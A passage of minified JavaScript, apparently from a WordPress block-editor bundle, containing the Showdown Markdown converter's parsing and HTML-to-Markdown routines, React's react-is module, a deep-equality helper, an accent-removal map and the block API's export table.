e=(e=(e=r.converter._dispatch("outdent.before",e,t,r)).replace(/^(\t|[ ]{1,4})/gm,"¨0")).replace(/¨0/g,""),e=r.converter._dispatch("outdent.after",e,t,r)})),a.subParser("paragraphs",(function(e,t,r){"use strict";for(var n=(e=(e=(e=r.converter._dispatch("paragraphs.before",e,t,r)).replace(/^\n+/g,"")).replace(/\n+$/g,"")).split(/\n{2,}/g),o=[],i=n.length,s=0;s<i;s++){var c=n[s];c.search(/¨(K|G)(\d+)\1/g)>=0?o.push(c):c.search(/\S/)>=0&&(c=(c=a.subParser("spanGamut")(c,t,r)).replace(/^([ \t]*)/g,"<p>"),c+="</p>",o.push(c))}for(i=o.length,s=0;s<i;s++){for(var l="",u=o[s],d=!1;/¨(K|G)(\d+)\1/.test(u);){var p=RegExp.$1,f=RegExp.$2;l=(l="K"===p?r.gHtmlBlocks[f]:d?a.subParser("encodeCode")(r.ghCodeBlocks[f].text,t,r):r.ghCodeBlocks[f].codeblock).replace(/\$/g,"$$$$"),u=u.replace(/(\n\n)?¨(K|G)\d+\2(\n\n)?/,l),/^<pre\b[^>]*>\s*<code\b[^>]*>/.test(u)&&(d=!0)}o[s]=u}return e=(e=(e=o.join("\n")).replace(/^\n+/g,"")).replace(/\n+$/g,""),r.converter._dispatch("paragraphs.after",e,t,r)})),a.subParser("runExtension",(function(e,t,r,n){"use strict";if(e.filter)t=e.filter(t,n.converter,r);else if(e.regex){var o=e.regex;o instanceof RegExp||(o=new RegExp(o,"g")),t=t.replace(o,e.replace)}return t})),a.subParser("spanGamut",(function(e,t,r){"use strict";return e=r.converter._dispatch("spanGamut.before",e,t,r),e=a.subParser("codeSpans")(e,t,r),e=a.subParser("escapeSpecialCharsWithinTagAttributes")(e,t,r),e=a.subParser("encodeBackslashEscapes")(e,t,r),e=a.subParser("images")(e,t,r),e=a.subParser("anchors")(e,t,r),e=a.subParser("autoLinks")(e,t,r),e=a.subParser("simplifiedAutoLinks")(e,t,r),e=a.subParser("emoji")(e,t,r),e=a.subParser("underline")(e,t,r),e=a.subParser("italicsAndBold")(e,t,r),e=a.subParser("strikethrough")(e,t,r),e=a.subParser("ellipsis")(e,t,r),e=a.subParser("hashHTMLSpans")(e,t,r),e=a.subParser("encodeAmpsAndAngles")(e,t,r),t.simpleLineBreaks?/\n\n¨K/.test(e)||(e=e.replace(/\n+/g,"<br />\n")):e=e.replace(/  +\n/g,"<br />\n"),e=r.converter._dispatch("spanGamut.after",e,t,r)})),a.subParser("strikethrough",(function(e,t,r){"use strict";return t.strikethrough&&(e=(e=r.converter._dispatch("strikethrough.before",e,t,r)).replace(/(?:~){2}([\s\S]+?)(?:~){2}/g,(function(e,n){return function(e){return t.simplifiedAutoLink&&(e=a.subParser("simplifiedAutoLinks")(e,t,r)),"<del>"+e+"</del>"}(n)})),e=r.converter._dispatch("strikethrough.after",e,t,r)),e})),a.subParser("stripLinkDefinitions",(function(e,t,r){"use strict";var n=function(e,n,o,i,s,c,l){return n=n.toLowerCase(),o.match(/^data:.+?\/.+?;base64,/)?r.gUrls[n]=o.replace(/\s/g,""):r.gUrls[n]=a.subParser("encodeAmpsAndAngles")(o,t,r),c?c+l:(l&&(r.gTitles[n]=l.replace(/"|'/g,"&quot;")),t.parseImgDimensions&&i&&s&&(r.gDimensions[n]={width:i,height:s}),"")};return e=(e=(e=(e+="¨0").replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n\n|(?=¨0)|(?=\n\[))/gm,n)).replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?([^>\s]+)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n+|(?=¨0))/gm,n)).replace(/¨0/,"")})),a.subParser("tables",(function(e,t,r){"use strict";if(!t.tables)return e;function n(e,n){return"<td"+n+">"+a.subParser("spanGamut")(e,t,r)+"</td>\n"}function o(e){var o,i=e.split("\n");for(o=0;o<i.length;++o)/^ {0,3}\|/.test(i[o])&&(i[o]=i[o].replace(/^ {0,3}\|/,"")),/\|[ \t]*$/.test(i[o])&&(i[o]=i[o].replace(/\|[ \t]*$/,"")),i[o]=a.subParser("codeSpans")(i[o],t,r);var s,c,l,u,d=i[0].split("|").map((function(e){return e.trim()})),p=i[1].split("|").map((function(e){return e.trim()})),f=[],h=[],g=[],m=[];for(i.shift(),i.shift(),o=0;o<i.length;++o)""!==i[o].trim()&&f.push(i[o].split("|").map((function(e){return e.trim()})));if(d.length<p.length)return e;for(o=0;o<p.length;++o)g.push((s=p[o],/^:[ \t]*--*$/.test(s)?' style="text-align:left;"':/^--*[ \t]*:[ \t]*$/.test(s)?' style="text-align:right;"':/^:[ \t]*--*[ \t]*:$/.test(s)?' style="text-align:center;"':""));for(o=0;o<d.length;++o)a.helper.isUndefined(g[o])&&(g[o]=""),h.push((c=d[o],l=g[o],u=void 0,u="",c=c.trim(),(t.tablesHeaderId||t.tableHeaderId)&&(u=' id="'+c.replace(/ /g,"_").toLowerCase()+'"'),"<th"+u+l+">"+(c=a.subParser("spanGamut")(c,t,r))+"</th>\n"));for(o=0;o<f.length;++o){for(var b=[],_=0;_<h.length;++_)a.helper.isUndefined(f[o][_]),b.push(n(f[o][_],g[_]));m.push(b)}return function(e,t){for(var r="<table>\n<thead>\n<tr>\n",n=e.length,o=0;o<n;++o)r+=e[o];for(r+="</tr>\n</thead>\n<tbody>\n",o=0;o<t.length;++o){r+="<tr>\n";for(var a=0;a<n;++a)r+=t[o][a];r+="</tr>\n"}return r+"</tbody>\n</table>\n"}(h,m)}return e=(e=(e=(e=r.converter._dispatch("tables.before",e,t,r)).replace(/\\(\|)/g,a.helper.escapeCharactersCallback)).replace(/^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|¨0)/gm,o)).replace(/^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|¨0)/gm,o),e=r.converter._dispatch("tables.after",e,t,r)})),a.subParser("underline",(function(e,t,r){"use strict";return t.underline?(e=r.converter._dispatch("underline.before",e,t,r),e=(e=t.literalMidWordUnderscores?(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,(function(e,t){return"<u>"+t+"</u>"}))).replace(/\b__(\S[\s\S]*?)__\b/g,(function(e,t){return"<u>"+t+"</u>"})):(e=e.replace(/___(\S[\s\S]*?)___/g,(function(e,t){return/\S$/.test(t)?"<u>"+t+"</u>":e}))).replace(/__(\S[\s\S]*?)__/g,(function(e,t){return/\S$/.test(t)?"<u>"+t+"</u>":e}))).replace(/(_)/g,a.helper.escapeCharactersCallback),e=r.converter._dispatch("underline.after",e,t,r)):e})),a.subParser("unescapeSpecialChars",(function(e,t,r){"use strict";return e=(e=r.converter._dispatch("unescapeSpecialChars.before",e,t,r)).replace(/¨E(\d+)E/g,(function(e,t){var r=parseInt(t);return String.fromCharCode(r)})),e=r.converter._dispatch("unescapeSpecialChars.after",e,t,r)})),a.subParser("makeMarkdown.blockquote",(function(e,t){"use strict";var r="";if(e.hasChildNodes())for(var n=e.childNodes,o=n.length,i=0;i<o;++i){var s=a.subParser("makeMarkdown.node")(n[i],t);""!==s&&(r+=s)}return r="> "+(r=r.trim()).split("\n").join("\n> ")})),a.subParser("makeMarkdown.codeBlock",(function(e,t){"use strict";var r=e.getAttribute("language"),n=e.getAttribute("precodenum");return"```"+r+"\n"+t.preList[n]+"\n```"})),a.subParser("makeMarkdown.codeSpan",(function(e){"use strict";return"`"+e.innerHTML+"`"})),a.subParser("makeMarkdown.emphasis",(function(e,t){"use strict";var r="";if(e.hasChildNodes()){r+="*";for(var n=e.childNodes,o=n.length,i=0;i<o;++i)r+=a.subParser("makeMarkdown.node")(n[i],t);r+="*"}return r})),a.subParser("makeMarkdown.header",(function(e,t,r){"use strict";var n=new Array(r+1).join("#"),o="";if(e.hasChildNodes()){o=n+" ";for(var i=e.childNodes,s=i.length,c=0;c<s;++c)o+=a.subParser("makeMarkdown.node")(i[c],t)}return o})),a.subParser("makeMarkdown.hr",(function(){"use strict";return"---"})),a.subParser("makeMarkdown.image",(function(e){"use strict";var t="";return e.hasAttribute("src")&&(t+="!["+e.getAttribute("alt")+"](",t+="<"+e.getAttribute("src")+">",e.hasAttribute("width")&&e.hasAttribute("height")&&(t+=" ="+e.getAttribute("width")+"x"+e.getAttribute("height")),e.hasAttribute("title")&&(t+=' "'+e.getAttribute("title")+'"'),t+=")"),t})),a.subParser("makeMarkdown.links",(function(e,t){"use strict";var r="";if(e.hasChildNodes()&&e.hasAttribute("href")){var n=e.childNodes,o=n.length;r="[";for(var i=0;i<o;++i)r+=a.subParser("makeMarkdown.node")(n[i],t);r+="](",r+="<"+e.getAttribute("href")+">",e.hasAttribute("title")&&(r+=' "'+e.getAttribute("title")+'"'),r+=")"}return r})),a.subParser("makeMarkdown.list",(function(e,t,r){"use strict";var n="";if(!e.hasChildNodes())return"";for(var o=e.childNodes,i=o.length,s=e.getAttribute("start")||1,c=0;c<i;++c)if(void 0!==o[c].tagName&&"li"===o[c].tagName.toLowerCase()){n+=("ol"===r?s.toString()+". ":"- ")+a.subParser("makeMarkdown.listItem")(o[c],t),++s}return(n+="\n\x3c!-- --\x3e\n").trim()})),a.subParser("makeMarkdown.listItem",(function(e,t){"use strict";for(var r="",n=e.childNodes,o=n.length,i=0;i<o;++i)r+=a.subParser("makeMarkdown.node")(n[i],t);return/\n$/.test(r)?r=r.split("\n").join("\n    ").replace(/^ {4}$/gm,"").replace(/\n\n+/g,"\n\n"):r+="\n",r})),a.subParser("makeMarkdown.node",(function(e,t,r){"use strict";r=r||!1;var n="";if(3===e.nodeType)return a.subParser("makeMarkdown.txt")(e,t);if(8===e.nodeType)return"\x3c!--"+e.data+"--\x3e\n\n";if(1!==e.nodeType)return"";switch(e.tagName.toLowerCase()){case"h1":r||(n=a.subParser("makeMarkdown.header")(e,t,1)+"\n\n");break;case"h2":r||(n=a.subParser("makeMarkdown.header")(e,t,2)+"\n\n");break;case"h3":r||(n=a.subParser("makeMarkdown.header")(e,t,3)+"\n\n");break;case"h4":r||(n=a.subParser("makeMarkdown.header")(e,t,4)+"\n\n");break;case"h5":r||(n=a.subParser("makeMarkdown.header")(e,t,5)+"\n\n");break;case"h6":r||(n=a.subParser("makeMarkdown.header")(e,t,6)+"\n\n");break;case"p":r||(n=a.subParser("makeMarkdown.paragraph")(e,t)+"\n\n");break;case"blockquote":r||(n=a.subParser("makeMarkdown.blockquote")(e,t)+"\n\n");break;case"hr":r||(n=a.subParser("makeMarkdown.hr")(e,t)+"\n\n");break;case"ol":r||(n=a.subParser("makeMarkdown.list")(e,t,"ol")+"\n\n");break;case"ul":r||(n=a.subParser("makeMarkdown.list")(e,t,"ul")+"\n\n");break;case"precode":r||(n=a.subParser("makeMarkdown.codeBlock")(e,t)+"\n\n");break;case"pre":r||(n=a.subParser("makeMarkdown.pre")(e,t)+"\n\n");break;case"table":r||(n=a.subParser("makeMarkdown.table")(e,t)+"\n\n");break;case"code":n=a.subParser("makeMarkdown.codeSpan")(e,t);break;case"em":case"i":n=a.subParser("makeMarkdown.emphasis")(e,t);break;case"strong":case"b":n=a.subParser("makeMarkdown.strong")(e,t);break;case"del":n=a.subParser("makeMarkdown.strikethrough")(e,t);break;case"a":n=a.subParser("makeMarkdown.links")(e,t);break;case"img":n=a.subParser("makeMarkdown.image")(e,t);break;default:n=e.outerHTML+"\n\n"}return n})),a.subParser("makeMarkdown.paragraph",(function(e,t){"use strict";var r="";if(e.hasChildNodes())for(var n=e.childNodes,o=n.length,i=0;i<o;++i)r+=a.subParser("makeMarkdown.node")(n[i],t);return r=r.trim()})),a.subParser("makeMarkdown.pre",(function(e,t){"use strict";var r=e.getAttribute("prenum");return"<pre>"+t.preList[r]+"</pre>"})),a.subParser("makeMarkdown.strikethrough",(function(e,t){"use strict";var r="";if(e.hasChildNodes()){r+="~~";for(var n=e.childNodes,o=n.length,i=0;i<o;++i)r+=a.subParser("makeMarkdown.node")(n[i],t);r+="~~"}return r})),a.subParser("makeMarkdown.strong",(function(e,t){"use strict";var r="";if(e.hasChildNodes()){r+="**";for(var n=e.childNodes,o=n.length,i=0;i<o;++i)r+=a.subParser("makeMarkdown.node")(n[i],t);r+="**"}return r})),a.subParser("makeMarkdown.table",(function(e,t){"use strict";var r,n,o="",i=[[],[]],s=e.querySelectorAll("thead>tr>th"),c=e.querySelectorAll("tbody>tr");for(r=0;r<s.length;++r){var l=a.subParser("makeMarkdown.tableCell")(s[r],t),u="---";if(s[r].hasAttribute("style"))switch(s[r].getAttribute("style").toLowerCase().replace(/\s/g,"")){case"text-align:left;":u=":---";break;case"text-align:right;":u="---:";break;case"text-align:center;":u=":---:"}i[0][r]=l.trim(),i[1][r]=u}for(r=0;r<c.length;++r){var d=i.push([])-1,p=c[r].getElementsByTagName("td");for(n=0;n<s.length;++n){var f=" ";void 0!==p[n]&&(f=a.subParser("makeMarkdown.tableCell")(p[n],t)),i[d].push(f)}}var h=3;for(r=0;r<i.length;++r)for(n=0;n<i[r].length;++n){var g=i[r][n].length;g>h&&(h=g)}for(r=0;r<i.length;++r){for(n=0;n<i[r].length;++n)1===r?":"===i[r][n].slice(-1)?i[r][n]=a.helper.padEnd(i[r][n].slice(-1),h-1,"-")+":":i[r][n]=a.helper.padEnd(i[r][n],h,"-"):i[r][n]=a.helper.padEnd(i[r][n],h);o+="| "+i[r].join(" | ")+" |\n"}return o.trim()})),a.subParser("makeMarkdown.tableCell",(function(e,t){"use strict";var r="";if(!e.hasChildNodes())return"";for(var n=e.childNodes,o=n.length,i=0;i<o;++i)r+=a.subParser("makeMarkdown.node")(n[i],t,!0);return r.trim()})),a.subParser("makeMarkdown.txt",(function(e){"use strict";var t=e.nodeValue;return t=(t=t.replace(/ +/g," ")).replace(/¨NBSP;/g," "),t=(t=(t=(t=(t=(t=(t=(t=(t=a.helper.unescapeHTMLEntities(t)).replace(/([*_~|`])/g,"\\$1")).replace(/^(\s*)>/g,"\\$1>")).replace(/^#/gm,"\\#")).replace(/^(\s*)([-=]{3,})(\s*)$/,"$1\\$2$3")).replace(/^( {0,3}\d+)\./gm,"$1\\.")).replace(/^( {0,3})([+-])/gm,"$1\\$2")).replace(/]([\s]*)\(/g,"\\]$1\\(")).replace(/^ {0,3}\[([\S \t]*?)]:/gm,"\\[$1]:")}));void 0===(n=function(){"use strict";return a}.call(t,r,t,e))||(e.exports=n)}).call(this)},5373:(e,t)=>{"use strict";var r,n=Symbol.for("react.element"),o=Symbol.for("react.portal"),a=Symbol.for("react.fragment"),i=Symbol.for("react.strict_mode"),s=Symbol.for("react.profiler"),c=Symbol.for("react.provider"),l=Symbol.for("react.context"),u=Symbol.for("react.server_context"),d=Symbol.for("react.forward_ref"),p=Symbol.for("react.suspense"),f=Symbol.for("react.suspense_list"),h=Symbol.for("react.memo"),g=Symbol.for("react.lazy"),m=Symbol.for("react.offscreen");
/**
 * @license React
 * react-is.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */function b(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case n:switch(e=e.type){case a:case s:case i:case p:case f:return e;default:switch(e=e&&e.$$typeof){case u:case l:case d:case g:case h:case c:return e;default:return t}}case o:return t}}}r=Symbol.for("react.module.reference"),t.isValidElementType=function(e){return"string"==typeof e||"function"==typeof e||e===a||e===s||e===i||e===p||e===f||e===m||"object"==typeof e&&null!==e&&(e.$$typeof===g||e.$$typeof===h||e.$$typeof===c||e.$$typeof===l||e.$$typeof===d||e.$$typeof===r||void 0!==e.getModuleId)}},7734:e=>{"use strict";e.exports=function e(t,r){if(t===r)return!0;if(t&&r&&"object"==typeof t&&"object"==typeof r){if(t.constructor!==r.constructor)return!1;var n,o,a;if(Array.isArray(t)){if((n=t.length)!=r.length)return!1;for(o=n;0!=o--;)if(!e(t[o],r[o]))return!1;return!0}if(t instanceof Map&&r instanceof Map){if(t.size!==r.size)return!1;for(o of t.entries())if(!r.has(o[0]))return!1;for(o of t.entries())if(!e(o[1],r.get(o[0])))return!1;return!0}if(t instanceof Set&&r instanceof Set){if(t.size!==r.size)return!1;for(o of t.entries())if(!r.has(o[0]))return!1;return!0}if(ArrayBuffer.isView(t)&&ArrayBuffer.isView(r)){if((n=t.length)!=r.length)return!1;for(o=n;0!=o--;)if(t[o]!==r[o])return!1;return!0}if(t.constructor===RegExp)return t.source===r.source&&t.flags===r.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===r.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===r.toString();if((n=(a=Object.keys(t)).length)!==Object.keys(r).length)return!1;for(o=n;0!=o--;)if(!Object.prototype.hasOwnProperty.call(r,a[o]))return!1;for(o=n;0!=o--;){var i=a[o];if(!e(t[i],r[i]))return!1}return!0}return t!=t&&r!=r}},8529:(e,t,r)=>{"use strict";e.exports=r(5373)},9681:e=>{var t={À:"A",Á:"A",Â:"A",Ã:"A",Ä:"A",Å:"A",Ấ:"A",Ắ:"A",Ẳ:"A",Ẵ:"A",Ặ:"A",Æ:"AE",Ầ:"A",Ằ:"A",Ȃ:"A",Ả:"A",Ạ:"A",Ẩ:"A",Ẫ:"A",Ậ:"A",Ç:"C",Ḉ:"C",È:"E",É:"E",Ê:"E",Ë:"E",Ế:"E",Ḗ:"E",Ề:"E",Ḕ:"E",Ḝ:"E",Ȇ:"E",Ẻ:"E",Ẽ:"E",Ẹ:"E",Ể:"E",Ễ:"E",Ệ:"E",Ì:"I",Í:"I",Î:"I",Ï:"I",Ḯ:"I",Ȋ:"I",Ỉ:"I",Ị:"I",Ð:"D",Ñ:"N",Ò:"O",Ó:"O",Ô:"O",Õ:"O",Ö:"O",Ø:"O",Ố:"O",Ṍ:"O",Ṓ:"O",Ȏ:"O",Ỏ:"O",Ọ:"O",Ổ:"O",Ỗ:"O",Ộ:"O",Ờ:"O",Ở:"O",Ỡ:"O",Ớ:"O",Ợ:"O",Ù:"U",Ú:"U",Û:"U",Ü:"U",Ủ:"U",Ụ:"U",Ử:"U",Ữ:"U",Ự:"U",Ý:"Y",à:"a",á:"a",â:"a",ã:"a",ä:"a",å:"a",ấ:"a",ắ:"a",ẳ:"a",ẵ:"a",ặ:"a",æ:"ae",ầ:"a",ằ:"a",ȃ:"a",ả:"a",ạ:"a",ẩ:"a",ẫ:"a",ậ:"a",ç:"c",ḉ:"c",è:"e",é:"e",ê:"e",ë:"e",ế:"e",ḗ:"e",ề:"e",ḕ:"e",ḝ:"e",ȇ:"e",ẻ:"e",ẽ:"e",ẹ:"e",ể:"e",ễ:"e",ệ:"e",ì:"i",í:"i",î:"i",ï:"i",ḯ:"i",ȋ:"i",ỉ:"i",ị:"i",ð:"d",ñ:"n",ò:"o",ó:"o",ô:"o",õ:"o",ö:"o",ø:"o",ố:"o",ṍ:"o",ṓ:"o",ȏ:"o",ỏ:"o",ọ:"o",ổ:"o",ỗ:"o",ộ:"o",ờ:"o",ở:"o",ỡ:"o",ớ:"o",ợ:"o",ù:"u",ú:"u",û:"u",ü:"u",ủ:"u",ụ:"u",ử:"u",ữ:"u",ự:"u",ý:"y",ÿ:"y",Ā:"A",ā:"a",Ă:"A",ă:"a",Ą:"A",ą:"a",Ć:"C",ć:"c",Ĉ:"C",ĉ:"c",Ċ:"C",ċ:"c",Č:"C",č:"c",C̆:"C",c̆:"c",Ď:"D",ď:"d",Đ:"D",đ:"d",Ē:"E",ē:"e",Ĕ:"E",ĕ:"e",Ė:"E",ė:"e",Ę:"E",ę:"e",Ě:"E",ě:"e",Ĝ:"G",Ǵ:"G",ĝ:"g",ǵ:"g",Ğ:"G",ğ:"g",Ġ:"G",ġ:"g",Ģ:"G",ģ:"g",Ĥ:"H",ĥ:"h",Ħ:"H",ħ:"h",Ḫ:"H",ḫ:"h",Ĩ:"I",ĩ:"i",Ī:"I",ī:"i",Ĭ:"I",ĭ:"i",Į:"I",į:"i",İ:"I",ı:"i",IJ:"IJ",ij:"ij",Ĵ:"J",ĵ:"j",Ķ:"K",ķ:"k",Ḱ:"K",ḱ:"k",K̆:"K",k̆:"k",Ĺ:"L",ĺ:"l",Ļ:"L",ļ:"l",Ľ:"L",ľ:"l",Ŀ:"L",ŀ:"l",Ł:"l",ł:"l",Ḿ:"M",ḿ:"m",M̆:"M",m̆:"m",Ń:"N",ń:"n",Ņ:"N",ņ:"n",Ň:"N",ň:"n",ʼn:"n",N̆:"N",n̆:"n",Ō:"O",ō:"o",Ŏ:"O",ŏ:"o",Ő:"O",ő:"o",Œ:"OE",œ:"oe",P̆:"P",p̆:"p",Ŕ:"R",ŕ:"r",Ŗ:"R",ŗ:"r",Ř:"R",ř:"r",R̆:"R",r̆:"r",Ȓ:"R",ȓ:"r",Ś:"S",ś:"s",Ŝ:"S",ŝ:"s",Ş:"S",Ș:"S",ș:"s",ş:"s",Š:"S",š:"s",Ţ:"T",ţ:"t",ț:"t",Ț:"T",Ť:"T",ť:"t",Ŧ:"T",ŧ:"t",T̆:"T",t̆:"t",Ũ:"U",ũ:"u",Ū:"U",ū:"u",Ŭ:"U",ŭ:"u",Ů:"U",ů:"u",Ű:"U",ű:"u",Ų:"U",ų:"u",Ȗ:"U",ȗ:"u",V̆:"V",v̆:"v",Ŵ:"W",ŵ:"w",Ẃ:"W",ẃ:"w",X̆:"X",x̆:"x",Ŷ:"Y",ŷ:"y",Ÿ:"Y",Y̆:"Y",y̆:"y",Ź:"Z",ź:"z",Ż:"Z",ż:"z",Ž:"Z",ž:"z",ſ:"s",ƒ:"f",Ơ:"O",ơ:"o",Ư:"U",ư:"u",Ǎ:"A",ǎ:"a",Ǐ:"I",ǐ:"i",Ǒ:"O",ǒ:"o",Ǔ:"U",ǔ:"u",Ǖ:"U",ǖ:"u",Ǘ:"U",ǘ:"u",Ǚ:"U",ǚ:"u",Ǜ:"U",ǜ:"u",Ứ:"U",ứ:"u",Ṹ:"U",ṹ:"u",Ǻ:"A",ǻ:"a",Ǽ:"AE",ǽ:"ae",Ǿ:"O",ǿ:"o",Þ:"TH",þ:"th",Ṕ:"P",ṕ:"p",Ṥ:"S",ṥ:"s",X́:"X",x́:"x",Ѓ:"Г",ѓ:"г",Ќ:"К",ќ:"к",A̋:"A",a̋:"a",E̋:"E",e̋:"e",I̋:"I",i̋:"i",Ǹ:"N",ǹ:"n",Ồ:"O",ồ:"o",Ṑ:"O",ṑ:"o",Ừ:"U",ừ:"u",Ẁ:"W",ẁ:"w",Ỳ:"Y",ỳ:"y",Ȁ:"A",ȁ:"a",Ȅ:"E",ȅ:"e",Ȉ:"I",ȉ:"i",Ȍ:"O",ȍ:"o",Ȑ:"R",ȑ:"r",Ȕ:"U",ȕ:"u",B̌:"B",b̌:"b",Č̣:"C",č̣:"c",Ê̌:"E",ê̌:"e",F̌:"F",f̌:"f",Ǧ:"G",ǧ:"g",Ȟ:"H",ȟ:"h",J̌:"J",ǰ:"j",Ǩ:"K",ǩ:"k",M̌:"M",m̌:"m",P̌:"P",p̌:"p",Q̌:"Q",q̌:"q",Ř̩:"R",ř̩:"r",Ṧ:"S",ṧ:"s",V̌:"V",v̌:"v",W̌:"W",w̌:"w",X̌:"X",x̌:"x",Y̌:"Y",y̌:"y",A̧:"A",a̧:"a",B̧:"B",b̧:"b",Ḑ:"D",ḑ:"d",Ȩ:"E",ȩ:"e",Ɛ̧:"E",ɛ̧:"e",Ḩ:"H",ḩ:"h",I̧:"I",i̧:"i",Ɨ̧:"I",ɨ̧:"i",M̧:"M",m̧:"m",O̧:"O",o̧:"o",Q̧:"Q",q̧:"q",U̧:"U",u̧:"u",X̧:"X",x̧:"x",Z̧:"Z",z̧:"z",й:"и",Й:"И",ё:"е",Ё:"Е"},r=Object.keys(t).join("|"),n=new RegExp(r,"g"),o=new RegExp(r,"");function a(e){return t[e]}var i=function(e){return e.replace(n,a)};e.exports=i,e.exports.has=function(e){return!!e.match(o)},e.exports.remove=i}},t={};function r(n){var o=t[n];if(void 0!==o)return o.exports;var a=t[n]={exports:{}};return e[n].call(a.exports,a,a.exports,r),a.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var n in t)r.o(t,n)&&!r.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var n={};(()=>{"use strict";r.r(n),r.d(n,{__EXPERIMENTAL_ELEMENTS:()=>ee,__EXPERIMENTAL_PATHS_WITH_OVERRIDE:()=>te,__EXPERIMENTAL_STYLE_PROPERTY:()=>J,__experimentalCloneSanitizedBlock:()=>xr,__experimentalGetAccessibleBlockLabel:()=>Ge,__experimentalGetBlockAttributesNamesByRole:()=>Ze,__experimentalGetBlockLabel:()=>qe,__experimentalSanitizeBlockAttributes:()=>Ye,__unstableGetBlockProps:()=>Wr,__unstableGetInnerBlocksProps:()=>Yr,__unstableSerializeAndClean:()=>tn,children:()=>Jn,cloneBlock:()=>Er,createBlock:()=>Tr,createBlocksFromInnerBlocksTemplate:()=>Cr,doBlocksMatchTemplate:()=>ia,findTransform:()=>Lr,getBlockAttributes:()=>ao,getBlockAttributesNamesByRole:()=>Qe,getBlockBindingsSource:()=>ze,getBlockBindingsSources:()=>Ie,getBlockContent:()=>Xr,getBlockDefaultClassName:()=>Fr,getBlockFromExample:()=>zr,getBlockMenuDefaultClassName:()=>qr,getBlockSupport:()=>Te,getBlockTransforms:()=>Mr,getBlockType:()=>we,getBlockTypes:()=>ve,getBlockVariations:()=>Oe,getCategories:()=>na,getChildBlockNames:()=>Se,getDefaultBlockName:()=>ke,getFreeformContentHandlerName:()=>he,getGroupingBlockName:()=>ge,getPhrasingContentSchema:()=>Lo,getPossibleBlockTransformations:()=>Or,getSaveContent:()=>Zr,getSaveElement:()=>Qr,getUnregisteredTypeHandlerName:()=>be,hasBlockSupport:()=>Ce,hasChildBlocks:()=>Be,hasChildBlocksWithInserterSupport:()=>Ae,isReusableBlock:()=>xe,isTemplatePart:()=>Ee,isUnmodifiedBlock:()=>He,isUnmodifiedDefaultBlock:()=>Ve,isValidBlockContent:()=>Hn,isValidIcon:()=>$e,node:()=>Yn,normalizeIconObject:()=>Ue,parse:()=>ho,parseWithAttributeSchema:()=>oo,pasteHandler:()=>ra,privateApis:()=>pa,rawHandler:()=>Mo,registerBlockBindingsSource:()=>je,registerBlockCollection:()=>de,registerBlockStyle:()=>Ne,registerBlockType:()=>le,registerBlockVariation:()=>Le,serialize:()=>rn,serializeRawBlock:()=>$r,setCategories:()=>oa,setDefaultBlockName:()=>_e,setFreeformContentHandlerName:()=>fe,setGroupingBlockName:()=>ye,setUnregisteredTypeHandlerName:()=>me,store:()=>gr,switchToBlockType:()=>Dr,synchronizeBlocksWithTemplate:()=>da,unregisterBlockBindingsSource:()=>De,unregisterBlockStyle:()=>Pe,unregisterBlockType:()=>pe,unregisterBlockVariation:()=>Me,unstable__bootstrapServerSideBlockDefinitions:()=>se,updateCategory:()=>aa,validateBlock:()=>Rn,withBlockContentContext:()=>fa});var e={};r.r(e),r.d(e,{getAllBlockBindingsSources:()=>yt,getBlockBindingsSource:()=>kt,getBootstrappedBlockType:()=>bt,getSupportedStyles:()=>mt,getUnprocessedBlockTypes:()=>_t,hasContentRoleAttribute:()=>wt});var t={};r.r(t),r.d(t,{__experimentalHasContentRoleAttribute:()=>$t,getActiveBlockVariation:()=>St,getBlockStyles:()=>xt,getBlockSupport:()=>Dt,getBlockType:()=>Ct,getBlockTypes:()=>Tt,getBlockVariations:()=>Et,getCategories:()=>At,getChildBlockNames:()=>jt,getCollections:()=>Nt,getDefaultBlockName:()=>Pt,getDefaultBlockVariation:()=>Bt,getFreeformFallbackBlockName:()=>Ot,getGroupingBlockName:()=>Mt,getUnregisteredFallbackBlockName:()=>Lt,hasBlockSupport:()=>zt,hasChildBlocks:()=>Ht,hasChildBlocksWithInserterSupport:()=>Vt,isMatchingSearchTerm:()=>Rt});var o={};r.r(o),r.d(o,{__experimentalReapplyBlockFilters:()=>Zt,addBlockCollection:()=>lr,addBlockStyles:()=>Jt,addBlockTypes:()=>Yt,addBlockVariations:()=>tr,reapplyBlockTypeFilters:()=>Qt,removeBlockCollection:()=>ur,removeBlockStyles:()=>er,removeBlockTypes:()=>Xt,removeBlockVariations:()=>rr,setCategories:()=>sr,setDefaultBlockName:()=>nr,setFreeformFallbackBlockName:()=>or,setGroupingBlockName:()=>ir,setUnregisteredFallbackBlockName:()=>ar,updateCategory:()=>cr});var a={};r.r(a),r.d(a,{addBlockBindingsSource:()=>fr,addBootstrappedBlockType:()=>dr,addUnprocessedBlockType:()=>pr,removeBlockBindingsSource:()=>hr});const i=window.wp.data;var s=function(){return s=Object.assign||function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var o in 